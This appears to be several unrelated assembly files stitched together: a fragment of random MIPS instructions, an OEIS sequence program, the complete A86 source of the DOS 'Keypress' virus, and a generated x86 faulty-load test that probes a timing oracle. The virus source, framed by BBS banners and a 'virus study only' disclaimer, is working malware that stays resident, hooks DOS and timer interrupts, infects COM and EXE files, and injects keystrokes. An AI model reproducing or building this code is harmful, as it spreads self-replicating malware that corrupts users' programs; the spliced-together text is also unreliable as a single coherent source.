$3,$3,23380 lw $3,0($0) addu $1,$4,$3 addiu $4,$3,14986 lb $6,12($0) sb $3,9($0) addiu $4,$5,29810 sh $3,2($0) andi $1,$6,17566 subu $0,$4,$3 lb $6,1($0) srlv $0,$4,$3 sh $6,8($0) lhu $1,6($0) lbu $3,16($0) subu $1,$6,$3 sb $4,13($0) lh $4,8($0) sllv $3,$3,$3 nor $3,$4,$3 subu $4,$3,$3 xori $4,$4,15529 lbu $3,10($0) addiu $3,$3,21990 subu $6,$6,$3 and $0,$3,$3 addu $3,$3,$3 slt $4,$4,$3 slti $4,$3,-17090 addu $6,$5,$3 lhu $3,4($0) nor $4,$1,$3 srav $0,$1,$3 sll $3,$4,7 slt $3,$4,$3 srav $5,$3,$3 ori $3,$3,18819 xori $4,$0,18737 and $5,$5,$3 ori $5,$4,34871 sltu $1,$2,$3 sb $4,11($0) addu $0,$5,$3 or $5,$3,$3 lw $1,12($0) ori $1,$4,63004 lh $6,16($0) slt $3,$5,$3 sltiu $3,$3,6374 sltiu $4,$4,26856 sltu $6,$1,$3 andi $5,$5,12009 addu $4,$4,$3 subu $5,$3,$3 sll $3,$3,18 nor $4,$4,$3 sltiu $1,$0,6524 srlv $5,$4,$3 nor $3,$3,$3 xori $0,$3,57531 addu $4,$1,$3 andi $3,$5,60429 addu $4,$5,$3 slti $1,$4,-2389 and $3,$3,$3 srlv $1,$1,$3 lb $3,6($0) slti $6,$4,31403 slt $3,$1,$3 xori $3,$5,762 lbu $1,9($0) sra $1,$3,2 sb $3,16($0) nor $5,$5,$3 srl $5,$6,16 addu $3,$1,$3 addu $3,$3,$3 sra $3,$4,3 slti $4,$6,-8788 ori $3,$3,55919 subu $4,$4,$3 subu $1,$1,$3 addu $6,$4,$3 lbu $3,13($0) ori $6,$3,7960 and $5,$3,$3 srlv $3,$5,$3 sltiu $1,$3,-13565 subu $4,$4,$3 srl $0,$0,2 sh $4,16($0) lb $1,14($0) sra $4,$4,27 lh $5,2($0) or $3,$1,$3 sw $5,12($0) addu $1,$1,$3 xor $4,$1,$3 slti $5,$4,30668 subu $4,$4,$3 srav $4,$4,$3 lhu $6,2($0) addiu $3,$5,-31295 nor $1,$4,$3 sltu $0,$0,$3 addu $1,$1,$3 addu $1,$3,$3 addiu $3,$1,19203 srl $1,$1,9 lw $5,0($0) subu $4,$1,$3 xor $5,$4,$3 srlv $3,$1,$3 lhu $1,12($0) addu $5,$1,$3 lhu $0,10($0) xori $3,$3,6491 addiu $6,$5,-14403 slt $3,$3,$3 addu $4,$5,$3 slt $5,$2,$3 lb $3,2($0) sltiu $1,$1,-20198 nor $3,$3,$3 sw $3,8($0) sll $1,$1,13 slti $4,$3,3451 addiu $3,$4,-29817 addu $3,$1,$3 xor $3,$6,$3 sltiu $6,$4,25715 srav $6,$5,$3 sllv $4,$5,$3 addiu $5,$3,1177 lhu $3,4($0) srl $4,$3,13 nor $5,$3,$3 ori $3,$3,2026 sll $4,$5,9 nor $3,$3,$3 sltiu $3,$3,-9152 or $1,$4,$3 addiu $0,$3,-28059 subu $4,$3,$3 sh $3,16($0) xor $1,$0,$3 slt $3,$6,$3 sll $3,$3,14 lh $1,8($0) subu $4,$4,$3 addiu $5,$5,27391 addu $1,$4,$3 xor $4,$2,$3 addiu $6,$4,19646 srlv $3,$3,$3 srl $4,$5,2 lh $3,0($0) lbu $5,9($0) slti $4,$1,-18615 addiu $5,$3,12164 slt $3,$3,$3 lw $4,0($0) addu $1,$1,$3 addiu $4,$3,-32586 sltiu $0,$3,24550 xor $3,$4,$3 addiu $6,$3,28805 sltiu $0,$1,-13534 sltiu $5,$6,-20648 addiu $3,$1,-11009 lhu $4,16($0) srlv $1,$1,$3 srl $3,$5,25 addiu $5,$3,30671 srlv $3,$3,$3 srav $1,$4,$3 xori $3,$2,11649 lh $6,10($0) srl $6,$6,24 sll $1,$4,20 sb $1,4($0) lbu $4,1($0) lbu $4,1($0) subu $2,$2,$3 sltu $3,$3,$3 sra $5,$4,3 srav $4,$3,$3 sltiu $6,$1,-20739 addiu $0,$1,-13097 lbu $3,8($0) lb $2,10($0) and $4,$4,$3 slti $1,$3,25558 slti $6,$3,-13163 srav $3,$4,$3 sltiu $4,$0,-26861 ori $3,$3,14126 xori $3,$3,14678 srlv $4,$6,$3 sra $2,$2,9 sh $3,2($0) lbu $0,9($0) addu $0,$4,$3 srl $1,$5,19 or $4,$4,$3 addu $4,$4,$3 lb $4,4($0) sll $4,$3,20 slti $6,$3,6083 sllv $6,$6,$3 addu $1,$1,$3 sb $5,4($0) srl $3,$3,2 sw $6,8($0) sll $5,$5,6 and $3,$4,$3 srl $3,$3,28 slti $0,$0,-24529 sra $1,$4,1 addu $4,$3,$3 srav $1,$5,$3 xor $0,$4,$3 sra $0,$3,24 lb $3,6($0) subu $3,$3,$3 sltiu $3,$0,24068 addu $6,$3,$3 sltiu $4,$4,-18687 addu $3,$5,$3 sra $3,$3,31 sb $4,6($0) xor $4,$3,$3 slti $5,$5,-25169 subu $3,$3,$3 xori $6,$6,32579 ori $3,$5,28155 lbu $0,2($0) subu $3,$3,$3 sllv $6,$4,$3 subu $6,$4,$3 nor $4,$4,$3 or $3,$4,$3 lw $3,4($0) lw $0,0($0) addu $4,$4,$3 nor $4,$1,$3 ori $0,$0,53310 sh $1,2($0) or $4,$4,$3 slt $1,$4,$3 addiu $4,$3,-5657 lb $1,3($0) lb $5,6($0) sltiu $2,$2,-7974 lh $5,4($0) lbu $1,16($0) sllv $5,$1,$3 addiu $4,$1,-2951 addiu $3,$1,-14130 sb $1,1($0) srlv $3,$3,$3 subu $3,$3,$3 srav $1,$4,$3 lw $4,8($0) xori $3,$2,19836 andi $5,$3,61005 subu $3,$3,$3 subu $3,$1,$3 addu $3,$3,$3 ori $5,$4,50438 sw $5,0($0) xori $4,$1,17188 addu $4,$3,$3 lh $3,12($0) addu $5,$3,$3 lbu $0,3($0) addu $3,$5,$3 lbu $0,8($0) subu $3,$3,$3 lbu $5,6($0) addu $0,$3,$3 or $6,$6,$3 sltiu $1,$0,2304 and $1,$4,$3 addu $4,$4,$3 lh $4,8($0) sb $3,13($0) xor $1,$3,$3 sltu $3,$3,$3 lhu $5,8($0) xori $6,$5,45348 slti $3,$0,-28766 slti $3,$3,-30452 andi $5,$5,59154 andi $1,$2,7279 lbu $0,5($0) lbu $1,13($0) sh $6,16($0) subu $1,$3,$3 subu $1,$3,$3 addiu $3,$0,26404 lb $3,0($0) lb $3,7($0) sra $2,$2,26 addiu $5,$4,22359 sra $3,$4,1 andi $1,$2,63715 sllv $4,$3,$3 sltu $4,$4,$3 addu $3,$3,$3 slti $5,$3,25537 sra $4,$0,6 xor $3,$3,$3 srav $5,$4,$3 sh $6,12($0) subu $1,$4,$3 sllv $3,$2,$3 sb $6,1($0) lhu $5,12($0) sltu $1,$5,$3 sra $1,$1,8 srl $1,$4,22 addu $3,$4,$3 sh $5,4($0) xori $4,$4,44347 xor $1,$0,$3 xori $5,$3,43515 lhu $3,10($0) slti $4,$0,27103 xor $3,$1,$3 andi $3,$3,48986 lh $5,8($0) lhu $3,8($0) xor $1,$1,$3 lbu $5,3($0) sll $1,$1,27 addiu $0,$3,7524 slti $6,$0,7918 ori $5,$5,64872 sh $1,12($0) slti $3,$4,21030 sltu $0,$3,$3 and $4,$5,$3 ori $1,$1,34733 srav $4,$3,$3 subu $6,$6,$3 addu $6,$3,$3 addiu $4,$4,11293 addu $6,$6,$3 addu $4,$3,$3 slti $3,$3,-27616 srl $3,$5,24 sb $0,12($0) andi $3,$5,17030 lw $4,0($0) lhu $3,4($0) addiu $6,$1,2584 lbu $1,12($0) xor $1,$3,$3 slti $4,$1,30792 subu $5,$5,$3 subu $4,$1,$3 addu $4,$4,$3 sll $3,$3,8 lh $0,4($0) lb $1,1($0) sra $4,$4,1 addu $4,$5,$3 slti $5,$1,-8422 sltu $5,$5,$3 sll $3,$3,18 subu $4,$1,$3 sll $4,$5,25 sll $4,$4,31 sb $1,12($0) subu $1,$3,$3 sltu $5,$3,$3 lhu $3,10($0) addiu $4,$6,10420 slt $6,$4,$3 andi $4,$4,43249 srav $3,$0,$3 lhu $4,12($0) lw $1,12($0) xori $5,$1,27199 srlv $4,$4,$3 lhu $3,0($0) nor $4,$4,$3 subu $4,$5,$3 sltu $5,$5,$3 lb $3,3($0) sb $1,2($0) addiu $5,$3,-18766 or $1,$1,$3 lw $2,12($0) andi $3,$3,10628 sw $0,0($0) ori $0,$6,23471 slt $1,$5,$3 addiu $4,$4,-21474 nor $3,$3,$3 andi $5,$3,8480 andi $0,$1,30125 xori $3,$2,58907 sltu $4,$3,$3
; A304518: a(n) = 68*2^n - 50 (n>=1). ; 86,222,494,1038,2126,4302,8654,17358,34766,69582,139214,278478,557006,1114062,2228174,4456398,8912846,17825742,35651534,71303118,142606286,285212622,570425294,1140850638,2281701326,4563402702,9126805454,18253610958,36507221966,73014443982,146028888014,292057776078,584115552206,1168231104462,2336462208974,4672924417998,9345848836046,18691697672142,37383395344334,74766790688718,149533581377486,299067162755022,598134325510094,1196268651020238,2392537302040526,4785074604081102 mov $1,2 pow $1,$0 sub $1,1 mul $1,136 add $1,86
;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************; ;******************************************************** ; Source code of the Keypress Virus - Made by XSTC ; Made in A86 v3.07 ; ; The Keypress Virus installs itself in top of DOS ; memory, without using DOS resident functions. It will ; hook int 1Ch (timer) and 21h (DOS) and will copy every ; 10 minutes during 2 seconds the keys you press five ; times (so if you press '1' it will be '111111') - if ; you press no key, it will usually give ESCs. ; ; In DOS 3+ it spreads to every file executed - so it ; can, besides COM/EXE, infect DRV/OVL/etc. ; It also spreads itself in DOS 1 and 2 with a special ; routine - in this case only COM/EXE files will be ; infected. ; ; It adds, after making full paragraphs of the file ; length, 1232 bytes to COM-files and 1216 to EXE. ; ; This code is only made to show the possibilities and ; dangers of a virus. It is only intended for research ; purposes - spreading a virus is prohibited by law. ; ; NOTE - The compiled code is not 100% compatible with ; the Keypress virus. A86 compiles the 'ADD BX,AX' and ; 'MOV DI,SI' different. This has totally no effect ; on the program. ;******************************************************** ; After compiling the new virus, enter the new size in paragraphs in VirParSize ; and compile again. VirParSize equ 4Ch ; Size of the original KeyPress virus VirStart: jmp long VirBegin db 0 ComStart: mov bx,cs ; When the virus has infected a .COM file, add bx,[102h] ; this is the jump to the virus. Actually, push bx ; this code is overwritten with the code mov bx,offset VirBegin ; in the end of the virus. push bx retf EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file VirSize dw VirParSize shl 4 ; Size of virus in whole pars VirPars dw VirParSize + 1 ; Size of virus in pars+1 MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack) Com_or_exe db 00h ; 0 = Com-File, 1 = Exe-File R_Ax dw (?) R_Bx dw (?) R_Cx dw (?) R_Dx dw (?) R_Di dw (?) R_Si dw (?) R_Bp dw (?) R_Es dw (?) R_Ds dw (?) R_SS dw (?) R_SP dw (?) Exe_CS dw (?) Exe_IP dw (?) VirBegin: call Save_Regs ; Start of virus call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE files) call Get_cs_ip ; Get CS and IP of original prog call Check_res ; Check virus already resident jb Exit_inst ; Yes, quit call Inst_mem ; Install in memory jb Exit_inst ; Error, quit call Inst_ints ; Hook interrupts Exit_Inst: jmp short Rst_regs_prg nop Jmp_Prg: db 0EAh ; Jump to original program PrgOfs dw (?) PrgSeg dw (?) Check_res: push ds xor bx,bx mov ds,bx mov bx,600h ; Unused word in memory cmp word ptr [bx],1 ; Already installed? jz Installed ; Yes mov word ptr [bx],1 ; No stc Installed: cmc pop ds ret ;*** For .EXE: Fix orig-prog CS and SS *** Fix_cs_ss: test byte ptr [Com_or_exe],1 jz no_exe mov ax,es add ax,10h add Exe_cs,ax add R_ss,ax No_Exe: ret ;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes *** Get_cs_ip: mov ax,[Exe_cs] mov bx,[Exe_ip] test byte ptr [Com_or_exe],1 jnz No_rest ; .EXE file: no restore of first bytes mov ax,es mov bx,100h mov cx,10h mov si,offset First_bytes mov di,100h cld repz ; Restore first 16 bytes (.COM file) movsb No_rest: mov [Prgseg],ax mov [Prgofs],bx ret ;*** Proc: Save the registers to restore them after the virus has ended *** Save_Regs: mov cs:R_ds,ds push cs pop ds mov R_ax,ax mov R_bx,bx mov R_cx,cx mov R_dx,dx mov R_di,di mov R_si,si mov R_bp,bp mov R_es,es ret ;*** Restore regs for original program *** Rst_regs_prg: mov ax,R_ax mov bx,R_bx mov cx,R_cx mov dx,R_dx mov bp,R_bp mov di,R_di mov si,R_si mov es,R_es test byte ptr [Com_or_exe],1 jz No_StackRest ; No stack restore for .COM files cli mov ss,[R_ss] ; Restore .EXE stack mov sp,[R_sp] sti No_StackRest: mov ds,R_ds jmp short jmp_prg ;*** Restore regs for interrupts *** Rst_regs_int: mov ax,R_ax mov bx,R_bx mov cx,R_cx mov dx,R_dx mov bp,R_bp mov di,R_di mov si,R_si mov es,R_es mov ds,R_ds ret ;*** Proc: Search for last MCB *** Last_MCB: push ds mov bx,es dec bx Next_MCB: mov ds,bx cmp byte ptr [0],5Ah ; Last MCB? jz Is_last ; Yes inc bx add bx,[3] ; Go to next cmp bx,0A000h ; In ROM? jb Next_MCB ; No, try next one Is_Last: pop ds ret ;*** Proc: Install virus in end of memory *** Inst_Mem: call Last_mcb ; Search last MCB cmp bx,0A000h ; In ROM? jb Not_ROM ; No, continue No_Inst: push cs ; Yes, quit pop ds stc ; Error, virus not installed ret Not_ROM: mov ds,bx mov ax,[3] ; AX = Size last MCB sub ax,cs:[VirPars] ; - (Virussize in pars+1) jbe no_inst ; Not enough memory, quit cmp ax,800h jb no_inst ; Less than 2048 pars free, quit mov [3],ax ; Give program less space to install virus add bx,ax inc bx ; BX = seg where virus comes mov es:[2],bx ; Enter in PSP, program not allowed there sub bx,10h ; - 10h pars (virus starts at 100h) push bx push cs pop ds pop es mov si,100h mov di,si mov cx,[VirSize] ; CX = virussize cld repz ; Copy virus to virus-segment movsb clc ; No error, virus installed ret ;*** Install new interrupts (1C - Timer Tick, 21 - DOS) *** Inst_Ints: push es pop ds mov word ptr [Ticks],0 mov ax,351Ch ; Get Addr Timer Tick int 21h mov I1c_ofs,bx mov I1c_seg,es mov ax,3521h ; Get Addr DOS-Int int 21h mov I21_ofs,bx mov I21_seg,es mov ax,251Ch mov dx,offset New_I1c int 21h ; Install New Timer-Tick Int mov dx,offset I21_dos12 push dx mov ah,30h ; Get DOS-Version int 21h pop dx cmp al,3 ; Below 3.0? jb DosBel3 mov dx,offset new_I21 ; No, new int DosBel3: mov ax,2521h ; Install new DOS-Int int 21h push cs pop ds ret ;*** Proc: NEW 1C (TIMER TICK) INTERRUPT *** ; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the ; keyboard-interrupt. Ticks dw (?) New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus loaded' cmp word ptr cs:[Ticks],2A30h ; 10 minutes passed? jb org_I1c ; No, go to orig. I1c cmp word ptr cs:[Ticks],2A54h ; 2 sec. passed? jbe screw_keys ; Not yet, give ESCs mov word ptr cs:[Ticks],0 ; Time-counter to 0 jmp short Org_I1c ; Go to orig. I1c Screw_Keys: push cx mov cx,5 ; 5 times / tick Put_Key: int 9 ; Give extra key loop Put_key pop cx Org_I1c: db 0EAh ; Jump far to orig. I1c I1c_Ofs dw (?) I1c_Seg dw (?) New_I24: mov al,0 New_I23: iret I23_Ofs dw (?) I23_Seg dw (?) I24_Ofs dw (?) I24_Seg dw (?) ProgSize dw (?) ; Program size in paragraphs New_I21: cmp ax,4B00h ; New DOS Int for DOS 3 + jz Is_Start jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I 21 Is_Start: call Save_Regs call InstCritInt ; Install new ^c and crit. err. int mov ax,3D02h ; Open file for read and write mov ds,R_Ds int 21h push cs pop ds jc Close_File mov bx,ax call Read_header jc Close_File call Write_virus jc Close_File call Write_header Close_File: mov ah,3Eh ; Close file int 21h call RestCritInt ; Restore ^c and crit-err ints call Rst_regs_int jmp far dword ptr cs:[I21_Ofs] I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and 2.x jz Is_Open JmpDos: db 0EAh ; Jump Far I21_Ofs dw (?) I21_Seg dw (?) Is_Open: push ax ; Network-flags? and al,0FCh pop ax jnz JmpDos ; Yes -> DOS call Save_Regs call InstCritInt ; Install new ^c and crit. err. int mov DS,R_Ds or al,2 ; Write access pushf cli call far cs:[I21_Ofs] ; Open file push cs pop ds jc Open_Error ; Error opening -> DOS pushf mov [R_Ax],ax ; Save handle mov bx,ax call Chk_Inf ; Check infection is possible jc No_Infect ; No -> quit call Read_header jc No_Infect call Write_virus jc No_Infect call Write_header No_Infect: call Go_file_beg ; Go to begin of file call RestCritInt ; Restore ^c and crit-err ints call Rst_regs_int popf retf 2 Open_Error: call RestCritInt ; Restore ^c and crit-err ints call Rst_regs_int jmp short JmpDos ;*** Proc: Buffer for header of program to infect *** Head_buf dw 0Ch dup (?) ;*** Proc: Install new ^C and crit. err. interrupt *** InstCritInt: push ax push bx push dx push ds push es push cs pop ds mov ax,3523h ; Get Ctrl-Break Int Addr int 21h mov I23_Ofs,bx mov I23_Seg,es mov ax,3524h ; Get Crit. Err Int Addr int 21h mov I24_Ofs,bx mov I24_Seg,es mov ax,2523h mov dx,offset New_I23 ; Install new Ctrl-Break Int int 21h mov ax,2524h ; Install new Crit. Err Int mov dx,offset New_I24 int 21h pop es pop ds pop dx pop bx pop ax ret ;*** Proc: Restore orig. ctrl-break and crit. err. interrupt *** RestCritInt: mov ax,2524h ; Rest. orig. crit. err int lds dx,dword ptr cs:[I24_Ofs] int 21h mov ax,2523h ; Rest. orig. ctrl-break int lds dx,dword ptr cs:[I23_Ofs] int 21h push cs pop ds ret ;*** Read header of file *** Read_header: mov ah,3Fh mov dx,offset Head_buf mov cx,18h int 21h jc HeadRead_Err ; Error reading, don't infect call Check_infect ; Check file already infected; if not, save data jc HeadRead_Err ; Error, quit call Calc_data ; Calculate data for infected file jc HeadRead_Err ; Error, quit HeadRead_Err: ret ;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus *** Write_virus: mov ah,40h ; Write virus behind program mov cx,[VirSize] mov dx,100h int 21h jc Err_Writ ; Write error, quit cmp ax,cx jnz Err_Writ ; ' ' ' ' ' ' test byte ptr [Com_or_exe],1 jz First_Write ret First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind virus mov cx,10h mov dx,offset Head_buf int 21h jc Err_Writ ; Write error, quit cmp ax,cx jnz Err_Writ ; ' ' ' ' ' ' clc ; End procedure, no error ret Err_Writ: stc ; End procedure, error ret ;*** Proc: .COM: Write jump-to-virus, .EXE: Write header *** Write_header: call Go_file_beg ; Go to begin of file test byte ptr [Com_or_exe],1 ; .EXE-file? jnz Exe_header mov ah,40h ; .COM file - Write 'EB 02' mov cx,2 mov dx,offset EB02 int 21h mov ah,40h ; Write program-size in pars mov cx,2 mov dx,offset ProgSize int 21h mov ah,40h ; Write rest of begin of virus mov cx,0Ch mov dx,104h int 21h ret Exe_header: mov ah,40h ; Write in File mov cx,18h mov dx,offset Head_buf int 21h ret ;*** Proc: Change file pointer *** Cng_file_ptr: mov ax,4200h int 21h ret ;*** Proc: Go to begin of file *** Go_file_beg: xor cx,cx ; Filepointer = 0 xor dx,dx call Cng_file_ptr ; Change File Pointer ret ;*** Proc: Check file is already infected *** Check_infect: mov si,104h mov di,offset Head_buf+4 push cs pop es mov byte ptr [Com_or_exe],0 ; Flag for .COM cmp word ptr [di-04],5A4Dh ; Is .EXE? jz Is_Exe mov cx,0Ch ; No, .COM file cld repz ; Already infected? cmpsb jnz Do_Infect ; Not yet Dont_Infect: stc ret Do_Infect: clc ret Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for .EXE mov cx,[offset Head_buf+14h] ; cx = Prog-IP cmp cx,offset VirBegin ; Same as Vir-IP? jz Dont_Infect ; Yes, quit cmp word ptr [offset Head_buf+0Ch],0 ; Max extra pars=0? jz Dont_Infect ; Yes, quit mov [Exe_ip],cx ; Save prog-IP mov cx,[Head_buf+16h] mov [Exe_cs],cx ; Save prog-cs mov cx,[Head_buf+0Eh] mov [R_ss],cx ; Save prog-SS mov cx,[Head_buf+10h] mov [R_sp],cx ; Save prog-SP jmp short Do_Infect ;*** Proc: Calculate data for infection *** Calc_data: mov ax,4202h ; Go to EOF xor cx,cx xor dx,dx int 21h test al,0Fh ; Size mod 16 = 0 (File is exact x paragraps)? jz No_par_add ; Yes, no extra par added add ax,10h ; Add paragraph adc dx,0 ; Overflow -> Inc dx and ax,0FFF0h ; Make paragraphs No_par_add: test byte ptr [Com_or_exe],1 jnz Calc_exe or dx,dx jnz not_infect cmp ax,[maxcomsize] ; File too big? ja not_infect ; Yes, quit cmp ax,[VirSize] ; File too small? jbe Not_Infect ; Yes, quit mov [ProgSize],ax ; Save program-size mov cl,4 shr word ptr [ProgSize],cl ; In paragraphs mov dx,ax xor cx,cx call Cng_file_ptr ; Go to EOF clc ret Not_Infect: stc ret Calc_exe: push ax push dx add ax,100h ; 100 bytes stack adc dx,0 ; Overflow - inc dx mov cx,dx mov dx,ax call Cng_file_ptr ; Go to EOF push bx add ax,[VirSize] ; New exe-length adc dx,0 mov bx,200h ; For header: / 512 div bx or dx,dx jz No_Correct inc ax ; Files below 2.000.000h bytes - length correction No_Correct: mov [Head_buf+2],dx ; Save new file-length mov [Head_buf+4],ax ; ' ' ' ' ' ' ' ' pop bx pop dx pop ax call Calc_cs_ss mov word ptr [Head_buf+10h],100h ; Prog-SP=100h mov word ptr [Head_buf+14h],offset VirBegin ; Set prog-IP clc ret ;*** Proc: Calculate new CS and SS for .EXE file *** Calc_cs_ss: push cx mov cx,4 Cs_ss_lp: shr dx,1 rcr ax,1 loop Cs_ss_lp sub ax,[Head_buf+8] ; Size of header sbb dx,0 mov [Head_buf+0Eh],ax ; Save prog-SS mov [Head_buf+16h],ax ; Save prog-cs pop cx ret ;*** Check infection is possible *** Chk_Inf: call Chk_exec ; Check file is executable jb Not_exec call Get_attr ; Check file has no SYS attr Not_Exec: ret ;*** Search-paths *** Com_path db '.COM',0 Exe_path db '.EXE',0 ;*** Check file is executable (.COM / .EXE) Chk_Exec: push es mov es,R_ds mov di,dx xor al,al mov cx,80h cld repnz ; Search '.' scasb jnz not_inf ; No '.' found dec di push di mov si,offset Com_path+4 mov cx,4 std repz ; Check '.COM' cmpsb pop di jnz no_com ; No .COM clc jmp short Infect nop Not_Inf: stc Infect: cld pop es ret No_Com: mov si,offset Exe_path+4 mov cx,4 repz ; Check '.EXE' cmpsb jnz not_inf ; No .EXE either - not executable clc jmp short infect Get_Attr: push ds mov ax,4300h ; Get FileAttr xor cx,cx mov ds,R_ds int 21h pop ds jb Bad_Attr ; Error - don't infect test cx,4 ; System-Attr? jnz Bad_Attr ; Yes, don't infect clc ret Bad_Attr: stc ret First_bytes: int 20h ; First bytes of orig. program - here just 'Go to DOS' dw (?) mov bx,cs ; Overwrites the begin add bx,[102h] push bx mov bx,offset VirBegin push bx retf ;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************;
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x818a, %rsi lea addresses_A_ht+0xb7ba, %rdi clflush (%rsi) nop nop nop add %rbx, %rbx mov $99, %rcx rep movsw nop nop nop inc %rcx lea addresses_A_ht+0xe9ba, %rsi lea addresses_WC_ht+0x1e85a, %rdi nop nop nop nop sub $52231, %r13 mov $91, %rcx rep movsw nop and %rbx, %rbx lea addresses_WC_ht+0x5e7a, %rsi lea addresses_UC_ht+0x47ba, %rdi nop nop nop sub %r12, %r12 mov $114, %rcx rep movsb nop nop nop nop nop cmp %r13, %r13 lea addresses_UC_ht+0xd3ba, %r12 nop nop sub $42581, %rdi mov $0x6162636465666768, %rbx movq %rbx, (%r12) nop nop nop add $48124, %r12 lea addresses_UC_ht+0x9ba, %rsi lea addresses_normal_ht+0x36ba, %rdi nop nop nop nop nop sub %r14, %r14 mov $107, %rcx rep movsl nop nop nop and $60936, %rbx lea addresses_A_ht+0x6576, %r14 nop nop nop add %rbx, %rbx movl $0x61626364, (%r14) nop nop nop nop nop sub $11941, %r12 lea addresses_WT_ht+0x119ba, %r13 nop nop nop nop inc %rcx vmovups (%r13), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rsi nop nop nop sub $12911, %rsi lea addresses_UC_ht+0x17e9a, %r12 cmp %rbx, %rbx movl $0x61626364, (%r12) nop nop cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %rax push %rbp push %rdx // Faulty Load lea addresses_US+0x1b7ba, %rbp cmp %r14, %r14 movups (%rbp), %xmm2 vpextrq $0, %xmm2, %rax lea oracles, %r11 and $0xff, %rax shlq $12, %rax mov (%r11,%rax,1), %rax pop %rdx pop %rbp pop %rax pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}} {'00': 114, '49': 1, '1a': 2, 'e0': 3, 'be': 1, '47': 5, '79': 1} 00 00 00 00 1a 00 79 00 00 00 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 49 00 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 47 00 00 00 00 00 e0 00 00 */
